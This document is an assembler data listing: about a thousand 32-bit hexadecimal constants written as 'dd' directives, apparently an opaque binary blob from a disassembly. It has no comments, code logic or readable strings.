		dd 99437C2Fh, 1F4F8198h, 1408D041h, 0F3177D1h, 2B03ECD3h
		dd 5D41FA83h, 0BE0102F8h, 0D5005475h, 0D4C71F24h, 15889E0Dh
		dd 349890A0h, 80F5086Eh, 1F334708h, 0C0A087D6h,	1FB6CA37h
		dd 8615E200h, 46CFA8FFh, 5D7400EEh, 4E6B4022h, 0E200383Fh
		dd 0DD63111Dh, 0C197BBADh, 6BE68CA6h, 3836ECDCh, 8209DB01h
		dd 0EC10C2E1h, 106A1442h, 0ED8967C9h, 0DF44B308h, 0C9DA4586h
		dd 10F11266h, 1289B1A0h, 2C445808h, 217384D5h, 0D4082E89h
		dd 84D95844h, 4492AD22h, 0D700F31Ah, 0DDBEC907h, 649591h
		dd 1627F20Ch, 0E00F61B1h, 75B43Dh, 0D89C56Fh, 76204F3h
		dd 0A3C65C7Ah, 691FA03Ah, 0DF00AFEBh, 550ED870h, 0F373DEDh
		dd 95FE0194h, 707D9F87h, 100DDC33h, 4DBE381Fh, 0F2775A80h
		dd 1F37274Eh, 8082A7A6h, 8E1F7380h, 0FB0005C4h,	79CD9418h
		dd 56E022h, 0C6EF0472h,	0BF60FB6h, 0D500C175h, 8EF0CCC0h
		dd 72490E0h, 0C5AD7DC7h, 4DC6F07Ah, 0EB0061C3h,	60E95FA9h
		dd 1E1D038h, 773711A1h,	0F8A8E61Dh, 640090ABh, 55668941h
		dd 3D0143D3h, 0B0012C0Dh, 4422E4D7h, 3A1DE023h,	305A2400h
		dd 354ADBCBh, 6F6000A2h, 0B6EB4FA8h, 0EF00CF70h, 0E3488EB4h
		dd 1167456h, 0EF7F26Ch,	0D4142BD5h, 120799B2h, 0D33736C7h
		dd 16132750h, 5C850002h, 35922104h, 98007FA9h, 894E31F9h
		dd 0C0C6A215h, 53BE1830h, 0D203DC30h, 96E85685h, 0ABD7B071h
		dd 542800CEh, 8C39B41Dh, 0EC015B76h, 0EF6BC80Bh, 16C093FDh
		dd 0A49F0059h, 3CBE7EEAh, 5F3812E2h, 0FA248060h, 0F94DE5CAh
		dd 1ACB0039h, 3D5EAE80h, 0F800978Eh, 0B533B109h, 0CF8530h
		dd 7E364EF7h, 72E102B4h, 21712600h, 6E70D214h, 6987CFCh
		dd 30F6D4A2h, 8800B8D5h, 3A8F4DA1h, 0E4A89E1Bh,	1D80C0EBh
		dd 0C86403F0h, 0CF202A00h, 45311E4Eh, 2A9084h, 0ECFD3A90h
		dd 35D571BDh, 9DCD9C00h, 0A018B0D3h, 0FF4C7A37h, 30F0F9E8h
		dd 0E4103ABAh, 5400224Bh, 0A27FE6DFh, 574939h, 0E7A7C81Ch
		dd 0B601AD2Ch, 56BC9000h, 96B8AFE2h, 0D41C081Fh, 0F507E1B5h
		dd 82F099E8h, 1355D642h, 1F1D09ABh, 515C0ECh, 0ED0B5D8Ah
		dd 0D884341Fh, 6EC7E800h, 5E8F75h, 0BD981782h, 0A80AB2D3h
		dd 9A3FBE78h, 0A70680CDh, 34B60F43h, 57AC0005h,	9F13D079h
		dd 0F100046Dh, 0E2CB4686h, 5D8F30h, 0BAA61788h,	0E1CFF7E7h
		dd 2EA9D900h, 1B187E55h, 5A80003h, 0DFCB6362h, 590E824Ch
		dd 40303AB7h, 0DAD639FBh, 41850155h, 4D2306B4h,	0E7882098h
		dd 6F788C0Bh, 8E4F0060h, 3029912h, 0DE458FEFh, 1000345Bh
		dd 0BC514D04h, 16861A37h, 1E4BD520h, 14E4C16Ch,	0FC0C0EF9h
		dd 5A0F6061h, 0E1226B81h, 99E9134Ah, 401E88Fh, 86BC97E3h
		dd 0C0ED2EA9h, 7B01A948h, 87C993Ch, 28F86166h, 0C4E501B9h
		dd 0A4E7F939h, 0BA51D494h, 8EE662F4h, 3D3D817Dh, 0C27780F0h
		dd 5C0AD2Dh, 0D83A00F5h, 18652E38h, 46032858h, 26BC70F3h
		dd 0D587E74Ch, 1DB8AE80h, 3B2E0A55h, 4E466DFh, 81CFB74h
		dd 8C240CEh, 6C00BB52h,	99FFEFF4h, 93ED62h, 0C4B0D209h
		dd 7FC3BE1Eh, 0DA9B7500h, 8B6612F0h, 4A34C038h,	5A5979Ch
		dd 80437600h, 81426F3Ch, 2FC3001Bh, 60E32D6Ah, 21000D8Ch
		dd 0AB9F2024h, 85DA30h,	8B99EC5Ah, 37CE400Ch, 88664300h
		dd 0E8ABA85Bh, 49830058h, 0B214E7D2h, 71005E9Dh, 0F2C259B6h
		dd 9666A8h, 0BC058C97h,	7C8834E1h, 3DE2820Eh, 3EC06739h
		dd 6149160h, 1E3A0085h,	7B381587h, 0A0005D90h, 0EBEC64A2h
		dd 7BAFB6F3h, 763B00A9h, 25627E83h, 1D003014h, 5BECC48Fh
		dd 918D98h, 354B6FEBh, 0C726B6B4h, 7E01D4FCh, 1612EFD1h
		dd 85203F54h, 0F230008Eh, 760E6411h, 2C0045DCh,	0CFB402BDh
		dd 7422785Eh, 34214805h, 0A3672902h, 0FC60F1C2h, 1D00D203h
		dd 50E751C1h, 3A4A44D5h, 3788CFAh, 0DEA8F6ECh, 3588D456h
		dd 0F73ED1C8h, 0F6D800Ch, 5FAC483Ch, 0EBE30097h, 2338E122h
		dd 5E00FDC2h, 0B66EE588h, 36B85Bh, 6B7DB91Eh, 8F408B0Ch
		dd 3530BB01h, 93C89EA3h, 3F3246F0h, 0DD809274h,	5DA558B5h
		dd 50983D54h, 1161EF00h, 56D1B067h, 94780021h, 6F4A8CA6h
		dd 1200D54Fh, 0A3818A8Bh, 1255511Dh, 25DACBh, 0B3D96445h
		dd 7100AAA7h, 86F3AF44h, 1FE9F905h, 4B83982h, 0C05BE8D9h
		dd 0B79EE0C0h, 10B88B51h, 0E9D6B48Ch, 3CE2B00h,	0BB6872C8h
		dd 4857070Bh, 604D8861h, 0D2259A64h, 80F89C24h,	0A7E88C00h
		dd 4395F4Bh, 7B15554Fh,	7517C06Fh, 3700D1E1h, 0C7BCCCB8h
		dd 0F13A9F1h, 0D63D87A3h, 90907DA7h, 0F9031C21h, 0B90009F6h
		dd 7F2D0FE9h, 18CB60h, 4B32C46h, 3F4D0A86h, 6C0C7600h
		dd 87E720E2h, 0B92B0798h, 2067D933h, 407ECE0h, 35F7311Eh
		dd 81A24080h, 5E92BCh, 8A1106Fh, 0EAB9E5C2h, 82513A00h
		dd 6567354Fh, 1A47010Dh, 0D71F06D1h, 0BC864066h, 349A582Ch
		dd 6C0537F6h, 19A03C34h, 0B0002C85h, 0B350AD5h,	432226B3h
		dd 0F6650084h, 239EB132h, 1A53FF00h, 0CAB3637Dh, 38126E76h
		dd 0EBAA6120h, 0EA00DB5Ah, 79C85F41h, 393B27h, 7F589AACh
		dd 0B41F4C85h, 0CC920F3Dh, 33861E1Ch, 8A45F600h, 5CF88419h
		dd 0A802304Dh, 63EC8EDCh, 0E24A9CE8h, 4013FE00h, 0BA438150h
		dd 0E880010h, 7A6503F6h, 0E305AC4Ah, 0E91FBDB3h, 69E094C0h
		dd 40C602FFh, 0EDE77155h, 0B4A7A880h, 0F9009F27h, 0E3290E86h
		dd 375013D2h, 0B0882F87h, 19F866B0h, 0DB0022F2h, 80623549h
		dd 1D7A6814h, 0C1826F74h, 695B02B2h, 292080DCh,	0F4C17C5Ch
		dd 0D292042Ah, 80278EBCh, 4BCDAB8Bh, 7D3BC209h,	3DCC87E2h
		dd 0A3B91A60h, 2A240044h, 0C64FB54Dh, 0B0380164h, 161C8B38h
		dd 0DD102085h, 8A3A0h, 3152DC1Bh, 7B516A70h, 5A2C321Fh
		dd 0EEE9FA40h, 0A0B156h, 76AB474Fh, 0B29D51B4h,	2E25F500h
		dd 0B86C892Ch, 0B6D10452h, 1E8C7D8h, 494F809h, 281470h
		dd 6B2159FCh, 0F24F725h, 74688CA0h, 75172701h, 0FDCA632Dh
		dd 75701BE1h, 0BB3200C3h, 0FE654A4Eh, 0B8A0267Fh, 6900BD34h
		dd 0F2B847D9h, 9F0E5Dh,	0B606C6D1h, 0E23548F5h,	800066F6h
		dd 714D79B4h, 14613E84h, 8C73BAB5h, 910D0F00h, 517E8C43h
		dd 9FBE723Dh, 84C0C913h, 8907A166h, 32B100FEh, 0F82D42A4h
		dd 0E30091BCh, 23BA938Bh, 0A8575FA0h, 5889CBD0h, 4A002C60h
		dd 0A3222F3h, 8D0039E9h, 128629ACh, 585E9C5Bh, 0D30B0951h
		dd 8880040Fh, 0A6A5799Fh, 0F80047E0h, 0B569E1F5h, 14A9CE3Ah
		dd 0CC37CA8Bh, 77DFE900h, 278D5764h, 3800467Ah,	0D24EB3E6h
		dd 0A8FE96h, 6522D9A5h
		dd 0EF3BBC37h, 0C6CFCA00h, 0DD72F5D1h, 75421602h, 0BEE8009Fh
		dd 0E99B5BE2h, 0BB5DCCA0h, 0E100F099h, 60429AA7h, 4BAC00D7h
		dd 47D1FB25h, 32000BFAh, 0B2F73A27h, 77DB584Ah,	0B32500A3h
		dd 30C29275h, 8F0CFFD3h, 0D8D2C335h, 0E97B0403h, 8084A04Ah
		dd 0C85661E8h, 4187F300h, 0A7D7D5CAh, 0D90B00ABh, 258D46AEh
		dd 0A4019BE1h, 3CC5F838h, 107648E2h, 0A01D7787h, 16F5A66Dh
		dd 0CD744906h, 687BD6h,	41CE0FB0h, 95B53D9Ch, 177D6F00h
		dd 84B4BA1Ah, 0EFD207C4h, 70CF6DB2h, 453733AEh,	4A32B38h
		dd 581981Bh, 0FE14A0h, 0EB6FC428h, 34CE4ED1h, 0AEEF2600h
		dd 0F105170Bh, 561901EAh, 736E0EE3h, 2EBC00ECh,	0B9CF1EA5h
		dd 0B2A8F32h, 20365280h, 5900805Bh, 0BA2DD4C9h,	2388C7Bh
		dd 5271CF9h, 9941DB89h,	0ABE8D397h, 0C2031D6Dh,	0CE1F4F56h
		dd 9EF800EDh, 1E192F07h, 35389D23h, 0EA4A0E57h,	0A4CC61CDh
		dd 98705FC6h, 491A0085h, 6333CE56h, 0E50037D5h,	7CFB75Bh
		dd 1E9617F2h, 81FE5CCCh, 3BAA3AEDh, 20FA304Eh, 0DB0094B0h
		dd 2D32DAF5h, 2F05A0h, 794367F4h, 246B2CB6h, 9C807F2Ch
		dd 54C3600h, 0C65ECBh, 0D8D17C9h, 0D5D4227Eh, 320150E6h
		dd 0DD70AB02h, 946086B6h, 0BB9D00F6h, 4B475F5Eh, 0F100B999h
		dd 4668D9E4h, 261CBh, 58A6DD33h, 36AAE0A8h, 94218B00h
		dd 886901DCh, 7172AEh, 582A39C5h, 29D6E24Dh, 0F47FF100h
		dd 9B2D3138h, 3AE71FEEh, 985ECF86h, 0FE2571E0h,	9C50B262h
		dd 83D9FF4h, 520808Eh, 0DDD1AB04h, 0B6EF000Bh, 368858B8h
		dd 18A4FBB5h, 8B546500h, 2E55A239h, 388D0E76h, 4103A149h
		dd 5ED8C2C3h, 1890237Eh, 2C60984Bh, 5CCC9F50h, 460504FDh
		dd 0C0E89293h, 5B1CE603h, 0E3E55C02h, 80ECF05Fh, 3B82FFF0h
		dd 0A5940098h, 3E55DA1Dh, 2EF6AA77h, 8061333Dh,	6CFC9BEAh
		dd 0C59819h, 4F34E1A1h,	0B8E312A8h, 5C009890h, 185A392h
		dd 3ECE962h, 2A79AB32h,	63D07D87h, 0F00038A2h, 0EB823ECFh
		dd 980774C2h, 8E0F000Bh, 0B9541381h, 0D101E74Bh, 652FF3FBh
		dd 35E47017h, 0F2A100D0h, 0E890616h, 36ECC92Bh,	3C40144Eh
		dd 551DDD83h, 6C9070h, 0F2D01BF6h, 49DF92B6h, 59A07D00h
		dd 0B5752876h, 859B3FDDh, 0C833403h, 73F80EE7h,	912E2515h
		dd 200036D4h, 78EA6AD1h, 0CA1900ACh, 0B5EE70C1h, 9C12EF9Bh
		dd 0F4008973h, 3F932A60h, 17F9085h, 2D19F35Ah, 0F4492F12h
		dd 6E00E29Eh, 4240B0A2h, 6AC165h, 1DABBB33h, 0D0461C4Eh
		dd 0FECD6800h, 51BAB47Dh, 0C785000Ah, 0C5B210E6h, 0A93D7163h
		dd 0EA35038Dh, 0B083709Eh, 2441964h, 60E4E02h, 0ACC0D968h
		dd 2E00E571h, 2A1B31ABh, 1155770h, 0CF517A9Bh, 0F0A961F0h
		dd 5A0E1FCAh, 8AA2555Eh, 0A409D8BFh, 0E82D844Ah, 1FD3D4C8h
		dd 40AF3264h, 20F6ABA9h, 0CF00D638h, 0BCAAB6DAh, 7A5F6A2Fh
		dd 82C0077h, 0D093C09Dh, 9C054378h, 14FFBD79h, 9B810C0h
		dd 4816485Eh, 33C7247Ch, 3E5103BBh, 0A7884875h,	5700C4CDh
		dd 7DB527E6h, 0CCB47Ah,	3CF3BE1Eh, 868D6ECFh, 4DACC302h
		dd 78751228h, 0B03413ACh, 0F7E480B7h, 0BC0797C5h, 68879484h
		dd 0D90A3160h, 62330227h, 0B1111A32h, 0FEA138E0h, 761ED898h
		dd 0C7DE61EBh, 1693C480h, 0ECBAA552h, 0FC7A35h,	0BE193D9Bh
		dd 3790CD04h, 8F005EF4h, 7150A29Eh, 997E739h, 51FF0F6Fh
		dd 0F7CAF8C0h, 9B3CB400h, 6F51DB9h, 0BDB7ACEh, 0EFEBB3C0h
		dd 0C3F82420h, 0AD03F6DAh, 76311DCAh, 0F2AFB09Eh, 53B0A0E8h
		dd 10C406BDh, 0E86A25C3h, 0DB2EDC00h, 0CF80C19Bh, 0C7540667h
		dd 9A70287Bh, 128CF814h, 4D4C04B4h, 5D00159Fh, 748120F2h
		dd 0F426CA79h, 2C005927h, 33C275F9h, 8CA900A3h,	0F80204C3h
		dd 4704D761h, 30DFC0AFh, 50016880h, 51FB005Dh, 4D2910F6h
		dd 0E7EA45F3h, 8300F7F4h, 0FC3AF8A1h, 43F6A0h, 42902932h
		dd 9BD34D54h, 7A717812h, 0C00ADF0Fh, 28FB969Eh,	0DA1B00D8h
		dd 2C3D4962h, 80B6674h,	800584EBh, 598A4C24h, 81C9007Ch
		dd 0F350244Fh, 5B121511h, 70011D74h, 8BE4BC8Eh,	9376660h
		dd 4F90FAF5h, 27F8F0C0h, 208DF14h, 0A9483AE8h, 8440C871h
		dd 4CC602Eh, 0BE99ED16h, 0CF1000B8h, 39655072h,	2E005689h
		dd 4AC7E857h, 2C00D0E1h, 7BB97573h, 222D5Eh, 0E3B44119h
		dd 58597AB0h, 8D20861Ch, 0C800182Ch, 8442FB08h,	44C8A013h
		dd 0F1984085h, 3FFEC09h, 1C7080B0h, 5C060279h, 8B805443h
		dd 8A654027h, 0E35B607Ah, 0B1382841h, 7760A4EBh, 9DE90AAEh
		dd 0D07C72h, 0BE9C2933h, 3116CD4Eh, 0B80140D2h,	54A27212h
		dd 9DEDD471h, 1D6F7A60h, 402094AAh, 0B07C017Fh,	10008326h
		dd 0FE7E06EAh, 0F133B8EBh, 0D242EB40h, 2A7E409h, 93ABDF9Fh
		dd 0A1601FBAh, 873C15B3h, 0B460046Fh, 45C08E85h, 0E85B99ECh
		dd 0D423038Ah, 0E6F9C80Bh, 5E02A4F0h, 7FD9BF00h, 0A706412Ah
		dd 73573F5h, 0A72959Eh,	5F5B0370h, 14FC0F88h, 31DAB300h
		dd 0B0C2BCF9h, 0C16800D7h, 0D4E324Ah, 0DD2CE91Eh, 0E2006C16h
		dd 0AD7A9E7Bh, 1915B31h, 0E00451F4h, 55F83494h,	66A9E800h
		dd 41715EB8h, 0C443001Dh, 0A72E20E2h, 9D0057ECh, 85CFF804h
		dd 5BFCC092h, 0C9300762h, 0B32CB349h, 8F1F8138h, 0A1CE6B73h
		dd 0F932DD84h, 3C008028h, 0BDC44CB7h, 0ED02805Fh, 39C6CBC3h
		dd 0BE10A4F3h, 0BA3B2F08h, 0AC11083Fh, 37B13F3Bh, 1316F810h
		dd 1DFAC04Fh, 0BBAD3C99h, 38EAA003h, 0E4BA3998h, 0E51F2160h
		dd 0B90E8CBAh, 7FB659C4h, 0C47B500h, 7DC628Bh, 0C1BDCA3Dh
		dd 0B66E90DEh, 9E003677h, 0B572B3B2h, 0C92A4Ch,	0E932F89Bh
		dd 89546D01h, 16C4B403h, 73D2BC3h, 0BA9798E0h, 90E4874Bh
		dd 0E570D1C2h, 5FB3C41Ch, 30B080EDh, 0ACC1628h,	20389C2Ah
		dd 0C533BACCh, 16D04421h, 89008AE8h, 0D583C81Fh, 5A78D631h
		dd 0E95300F7h, 8CD0DA08h, 0FE042500h, 0B83A4E5Bh, 0BCF4F3h
		dd 87573C93h, 475AE3E8h, 0FDC8B007h, 0D92038E7h, 0D0ECFh
		dd 11A9337Dh, 7AE48550h, 0BE0BD500h, 225B5F71h,	0E38801A7h
		dd 336FBF16h, 5635F18Ah, 487A0CCh, 0BA0BE255h, 38367F40h
		dd 1F3D7118h, 12CAE719h, 1D5D9DA6h, 56BB808Ch, 0ED22C47Fh
		dd 16417160h, 3576DF8h,	6E015A39h, 0ACE16050h, 0A51E8C2h
		dd 87FDA000h, 97F53A4Ah, 78092E3h, 19D7FABAh, 0AD5F90DEh
		dd 72E2578h, 10006DA1h,	7637ECCCh, 1EB73036h, 39B0D469h
		dd 9C2599C0h, 3DD971FFh, 0D0838CBFh, 15454B14h,	47363B88h
		dd 3592E4Ch, 0AEBEA6E5h, 33D8113Eh, 0C6B70322h,	0E03DD87Ah
		dd 4C2435Ah, 0EA459EAFh, 0AA7CC07Fh, 0A202A727h, 904CD373h
		dd 0B0DC488Bh, 0CFBD001Ah, 87C29E16h, 800D9E5h,	0C4988AA1h
		dd 0C69D167h, 2F2B4E30h, 0CD07CA80h, 0E2B3BDEDh, 81AFB704h
		dd 877A9185h, 0C2CEB189h, 18EAA0FCh, 29EEA330h,	0F6F539CDh
		dd 0E2360880h, 0CF1C1978h, 0C86859F6h, 8800907Bh, 79E5B9CEh
		dd 9A8F35C1h, 0B5CA3CDCh, 1180C4BEh, 54980E1Ch,	0B14D178h
		dd 0EE0865Eh, 60ED96CFh, 0B3363A49h, 9E3CA00Ah,	0F84BE8C9h
		dd 6006F82Ah, 6DEF3010h, 500738A9h, 5DF3CD51h, 9855A780h
		dd 4B750027h, 39A1E7A0h, 0C2007110h, 0DBB25CE3h, 58532AA9h
		dd 790762D4h, 0C01A82D6h, 592845E7h, 343FA013h,	9500886Ah
		dd 502A82F2h, 0F7086E0Dh, 838EBD3h, 0F081318Ah,	9C06815Ah
		dd 0C8C9BBF3h, 0A0E196BEh
		dd 18BC1CF8h, 501B9FB3h, 0E218236Ch, 42893694h,	0C87800EBh
		dd 20E1F7CBh, 8CCDFB5h,	75211Bh, 2D6A78D3h, 0CC3531FDh
		dd 2E993960h, 0A0273766h, 5033A4FCh, 8CE9301Ch,	0C178E404h
		dd 5F62DFCBh, 78CC2220h, 0D43F00FEh, 4DF5F821h,	0CE19B287h
		dd 76C0D752h, 2CF8060h,	0B545375Bh, 0E4A1C5EEh,	0E74D63B9h
		dd 804AC391h, 28663C88h, 70CDC9E9h, 384C205Bh, 79C20B07h
		dd 0C1833749h, 0B188BA6Fh, 0A801261Ch, 0B8B8644Bh, 0A4892D09h
		dd 4AC033Ah, 0DD35C3DEh, 0C1B48023h, 16005EDFh,	912AD334h
		dd 0DC00C83Ah, 0B721749Bh, 32C5808Fh, 8808779Fh, 855FAC48h
		dd 285E7500h, 2A07EE29h, 0D4A00933h, 7001F3B1h,	8035D8C9h
		dd 0F9207D69h, 0CECBA9Ch, 4A334C0h, 21C02808h, 0F7F9E8F6h
		dd 0BE310018h, 0FFAA8F6Bh, 2E260D8Ah, 78A40C1Fh, 8C076C11h
		dd 548343h, 0E670CCDBh,	0B9348A30h, 34BD901h, 6CE15219h
		dd 0F8DEB11Bh, 0B5340C08h, 7873CB8h, 1CC751E4h,	0DB883358h
		dd 589AB3h, 4F964C49h, 0D96AF812h, 330CA00Fh, 0B96220FBh
		dd 70E63059h, 502A76C3h, 4994D8E0h, 9200084Dh, 19DD0ED4h
		dd 8600A104h, 0C274FA8h, 0F48360D0h, 0D0824892h, 801FDA15h
		dd 775A310Eh, 3C83EFC9h, 200A26C2h, 94052C9Ch, 0CC46A820h
		dd 9BF92102h, 173104BAh, 0F9F5DD10h, 19333603h,	25D8CDh
		dd 0BAA77219h, 0B0014F3Dh, 0EE6B3601h, 5E5DCE3Eh, 13D7A3FCh
		dd 39CB2C3h, 1D3ABB6Ch,	2E558802h, 6098293Eh, 0EEBFD754h
		dd 6E6C90E0h, 0C49EA02Dh, 80E26B45h, 0F8B6B734h, 9BA85750h
		dd 2C5127E6h, 0FAE841E0h, 0E9E70CE6h, 28CEE08h,	0CBDC78CFh
		dd 16E557h, 8C78D779h, 2112373h, 7AC3CD03h, 2288EB4h, 3AE98BB0h
		dd 3052D8C5h, 65B6702h,	6A2A7207h, 82A8043Ch, 0CD357CC0h
		dd 0DF29C71Bh, 7118CF2Dh, 0FC1E6793h, 0B9C028B2h, 7D12BB02h
		dd 58492B8h, 9596CBC4h,	0BC948081h, 0CF8849B5h,	98757A8Eh
		dd 0A48C08C8h, 0E8320EEEh, 78DE30EFh, 0CFCBC311h, 74805C88h
		dd 0DA0D78E6h, 0FA913A72h, 97E90106h, 56012146h, 0E36A4C59h
		dd 9DD0327Fh, 75D752Dh,	799CCEFBh, 0C1423077h, 8200A6CFh
		dd 193A4C65h, 70F01AB1h, 0EECB0671h, 0A849D23Dh, 23296EE6h
		dd 602650EBh, 2FCBC702h, 0BF7C65E5h, 693AEA39h,	12BEB8A8h
		dd 105090B4h, 2D81F400h, 20415336h, 0B43BE800h,	947C4CEEh
		dd 442C2666h, 25174D41h, 0DEB67107h, 0F9B060A9h, 6C473000h
		dd 4EE309B5h, 0D0A849DBh, 88204000h, 6C0EB87h, 3ED9D100h
		dd 3AC77574h, 325900D8h, 53C1620h, 0CD396186h, 80A049B9h
		dd 0BB70F9ECh, 2B448C0Ch, 0F9F400FAh, 9DFC786Eh, 2A0A2432h
		dd 0E472A20Bh, 7DEECD03h, 0CAC806D7h, 189A321Bh, 99EFD309h
		dd 3008018Bh, 0BC4CCEE4h, 0E60328B8h, 1831F214h, 510BE21Bh
		dd 0CF4545A6h, 803B3EE8h, 0B120EEB7h, 25988884h, 0CF80A1B2h
		dd 2BF2B032h, 0E2A53530h, 0A8AA1682h, 58BC2091h, 1F07B03Bh
		dd 8ABF3DDCh, 0D95AC5E0h, 9FF625C2h, 0CFEB0420h, 0AB50CEDFh
		dd 32005ACCh, 1125379Dh, 0C20B945h, 0CCF3512h, 0B454D571h
		dd 0BA00EBD4h, 79ECC88Ah, 0D088BEh, 0F1569299h,	0B03893D7h
		dd 0FBD11E06h, 0E0913290h, 0AECF1D52h, 17948367h, 1A993556h
		dd 266438C5h, 8161CC6h,	9DE95804h, 0E3757130h, 877FB710h
		dd 7D8786C8h, 42D1785Bh, 22E051FDh, 55C10933h, 3C0445EBh
		dd 0D6E08897h, 0F36CB500h, 0A850176Bh, 0AD4E0070h, 609C0A6h
		dd 0F00A3B27h, 0F0D09D82h, 893C1760h, 88B6D4h, 0F5DBD91Dh
		dd 18712AE7h, 60322009h, 8CA20816h, 0F5C6FE85h,	0AA9314h
		dd 0CDD4C5E8h, 5497FECh, 83259ECBh, 46E8D14Ah, 0EED0117h
		dd 0C77FB053h, 0CAAACDB0h, 7CF91E10h, 0E07681FCh, 215EA282h
		dd 58A45882h, 0A14884B0h, 4496028Ch, 0AB3D9115h, 3A41029Ch
		dd 6A15C0A0h, 98305490h, 983B00FBh, 289B7476h, 0F5009CD1h
		dd 852DA968h, 2E36027h,	1B430169h, 80C142A0h, 6E7F104Ch
		dd 0B6343804h, 4449FD1Dh, 0C8C2882Eh, 89F658ACh, 1BCF6805h
		dd 0ACC84937h, 17C87FA4h, 313A6235h, 2D2F17D0h,	0C61A130Ch
		dd 459F2C01h, 5C723F89h, 0C79DEA10h, 0B761749Eh, 9B0C8767h
		dd 1D886288h, 40112D75h, 0AB2C2A38h, 46049125h,	3555F6CBh
		dd 0B449DCD0h, 68CC4CC2h, 0A610882Eh, 24639C4h,	0BA9DF927h
		dd 0BC47F4h, 75F9EBF7h,	230031D2h, 20178569h, 2106ACFh
		dd 59BF8A8Ch, 9CA04797h, 6F6646DEh, 0C43F0E00h,	57B6E706h
		dd 0C6D90159h, 2107573h, 0AC6C3046h, 8B703Dh, 9AF230CCh
		dd 185BA453h, 203963F3h, 2531262Bh, 0DA72B018h,	0F90BE30Ch
		dd 9C14BB71h, 0E7DB001Ch, 309678F9h, 83481E03h,	6762053Ch
		dd 44C41377h, 17C8A48Bh, 1C789C5h, 4E2E7A60h, 0E82954A3h
		dd 0B5CA17C6h, 79204B3Eh, 0B30230A1h, 6D9B60C5h, 5C2348h
		dd 282754F1h, 99EB6830h, 0F5420004h, 4D6FDF66h,	8911970Eh
		dd 0C9348028h, 1E5FA6h,	15EAFC6Dh, 1693B89Eh, 3BD05903h
		dd 0B8771839h, 1D1CCE5Bh, 18CD531Eh, 0F0DC219Ch, 51F51803h
		dd 0F0ACB1ABh, 63A66A4h, 2675B491h, 5D1E289Dh, 0A1C32EF0h
		dd 0B088BFBBh, 30639EEBh, 32499750h, 260C9625h,	0D80A1898h
		dd 1A630578h, 20C915EBh, 76182E48h, 4888A2EFh, 0DBB144h
		dd 8ADD18E5h, 0B2AADFBAh, 1A5BB003h, 0A622758Ch, 6F091E60h
		dd 9B30B1F5h, 0A25CC8ADh, 0FF4BA600h, 655BE61Bh, 39540025h
		dd 0D3DFDA74h, 71008CA0h, 7A1AA4F8h, 197276Dh, 53F1B1Fh
		dd 86319622h, 949C6458h, 0C9EC0389h, 2232A3D2h,	250030C6h
		dd 0A4B733F2h, 159E466Eh, 901C81E7h, 0D6DC3000h, 0F1E9A5CFh
		dd 0E1666D7Bh, 213308h,	10D6E45Bh, 7BC08497h, 4373F61Eh
		dd 0A82A9A46h, 0C2558E1h, 0DF189603h, 897BAAC3h, 0A0B70F01h
		dd 0D8F5C056h, 16967A30h, 0CFA122h, 0C8653455h,	31C00BC5h
		dd 0C62CE57Ch, 0CA2D0092h, 0B0AE513Bh, 0CBF8EDAAh, 0FCBB3A01h
		dd 0F14E1E12h, 4A9DF091h, 0A50958FCh, 8401F2A1h, 4057BDEEh
		dd 75B916B0h, 0D62E5403h, 0F3124161h, 92081859h, 6DAE401Dh
		dd 4CDC5400h, 3364029Eh, 62212ABh, 0CC00485Ch, 611827CFh
		dd 0B2624B74h, 18E2D620h, 0FC24007Bh, 13A1AC0Ah, 6C79BF6Fh
		dd 83ABEDF1h, 5BD2A310h, 0CD97D050h, 3C9B241Bh,	368A038h
		dd 9E531F7Dh, 0CFC0F67Fh, 5B40E120h, 246AF044h,	80201BF5h
		dd 0DEDBC7F6h, 0F907FD28h, 0FCAD21A0h, 7A21F546h, 7DB0158h
		dd 2BBD2C51h, 0EBB1CC8Ah, 3DF9111Dh, 352755Eh, 29762006h
		dd 334F0081h, 0B1833634h, 70004E30h, 538C09ADh,	3CDBB4EEh
		dd 0E400407Ah, 0BA58CF3Eh, 1D24CAA3h, 290E346Fh, 0A50411E2h
		dd 8194FE32h, 5171C9F4h, 22A764C8h, 558A04BCh, 99092146h
		dd 60F14C04h, 23C5D6E6h, 3611D9A5h, 0D6EE5D00h,	82B33CD3h
		dd 3DDBA902h, 0A383FA1Fh, 0B4550B4h, 0D00F9970h, 19F51F82h
		dd 57608CAEh, 0DC2A6CA4h, 0DD01BA76h, 3FC4E97Ch, 61B22276h
		dd 0A048EEC0h, 0A912B6DEh, 0C03F846h, 91D4CF1Dh, 518CFF1Fh
		dd 0FB70CB8Ch, 0AA454C90h, 226C1D2h, 14D7D024h,	90E1D45Fh
		dd 6713CF83h, 23FF9803h, 3C9EF7FAh, 5604A6B8h, 98E71E04h
		dd 54047264h, 4249D6F1h, 0AF205D32h, 0C05546Ah,	0FCA2AAE0h
		dd 8A0414A8h, 180B7A9Ch, 40372493h, 617ED4B1h, 77A070A7h
		dd 0EE39F854h, 0AF108612h, 0C99F7C08h, 8904B40Bh, 17CCE43h
		dd 118E7DDh
		dd 38459D94h, 0F301C46Fh, 82321B56h, 0D81C2087h, 14D0581Eh
		dd 0A41E0A0Ah, 558ED100h, 175C8E7h, 0A5CD1316h,	40CF9A22h
		dd 0CF1CBD4h, 0BC3AB0A8h, 0BFBE7B02h, 404F0831h, 301229B8h
		dd 23F89D28h, 65B8A05Dh, 300DF889h, 78C086A7h, 0CB7F6441h
		dd 14E136D7h, 591CA951h, 0F87017C5h, 60BA2D9Ch,	3E0E981Fh
		dd 50012178h, 120616CBh, 689CA8E4h, 94D9C43Dh, 238C101Eh
		dd 547101F2h, 5841D6EAh, 0A28893ECh, 0FC540069h, 850B2564h
		dd 1E98AE6Ch, 7041566Ah, 4E40FC24h, 0A53183h, 0D339BE5Fh
		dd 1E02CFFEh, 7F38E852h, 0D6F05408h, 4992C451h,	1B12009Ch
		dd 0C099C6E8h, 945DEE59h, 0E0003B97h, 0DBDE2C08h, 38B812D6h
		dd 0A6B3DA1Dh, 0BAC138E8h, 0ABF6C083h, 19715865h, 1BD78500h
		dd 0EAFD2C3h, 0DFEEB0E8h, 610A007Eh, 31346A1h, 797ACD04h
		dd 4C273BBh, 6E0933ECh,	9CF1A5D2h, 0E35E0004h, 8CE8C7D6h
		dd 9F022333h, 0D40A29AFh, 38500C3Bh, 0A49F43Dh,	0E85CF1D0h
		dd 4ACA258Fh, 1F00F885h, 0A231C130h, 0BE10C691h, 3C03C15Bh
		dd 0C244DBBAh, 0EB9FD993h, 481EE5C4h, 58900CE2h, 9C43F7B8h
		dd 7D736500h, 12B2E004h, 749A14BAh, 0DBC86E01h,	0E64CCFC5h
		dd 2E05A3E0h, 76CBDA0h,	0F068D38Eh, 4119D62Dh, 27E11B18h
